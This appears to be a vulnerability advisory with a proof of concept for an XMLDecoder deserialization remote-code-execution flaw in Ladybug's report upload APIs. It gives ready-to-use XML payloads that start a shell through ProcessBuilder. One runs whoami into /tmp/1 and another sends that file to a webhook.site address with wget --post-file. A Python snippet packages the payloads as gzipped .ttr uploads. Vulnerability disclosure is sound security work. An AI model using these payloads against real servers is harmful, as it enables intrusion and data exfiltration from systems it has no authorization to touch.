XMLDecoder Deserialization Vulnerability (Java RCE) in Ladybug < 3.0-20251107.114628
<java version="21.0.8" class="java.beans.XMLDecoder">
<new class="java.lang.ProcessBuilder">
<string>/bin/sh</string>
<string>-c</string>
<string>whoami > /tmp/1</string>
<object method="start">
</object>
</new>
</object>
</java>
Compressed into a .ttr file using gzip.
import gzip
def gzip_compress(data: bytes) -> bytes:
return gzip.compress(data)
text = open("vuln5.xml", "r").read()
compressed = gzip_compress(text.encode('utf-8'))
with open("vuln5.ttr", "wb") as f:
f.write(compressed)
<java version="21.0.8" class="java.beans.XMLDecoder">
<new class="java.lang.ProcessBuilder">
<string>/bin/sh</string>
<string>-c</string>
<string>wget --post-file /tmp/1 https://webhook.site/1545711f-2ac7-48d4-b919-09a605d4194e</string>
<object method="start">
</object>
</new>
</object>
</java>
Summary
XMLDecoder Deserialization Vulnerability (Java RCE) in Ladybug < 3.0-20251107.114628
Details
The APIs
/iaf/ladybug/api/report/{storage}and/iaf/ladybug/api/report/uploadallow uploading gzip-compressed XML files with user-controllable content. The system deserializes these XML files, enabling attackers to achieve Remote Code Execution (RCE) by submitting carefully crafted XML payloads and thereby gain access to the target server.PoC
Compressed into a .ttr file using gzip.
Impact
Affected Version: Ladybug < 3.0-20251107.114628
Vendor: wearefrank
Software: Ladybug
Vulnerability Files:
src/main/java/nl/nn/testtool/util/Import.java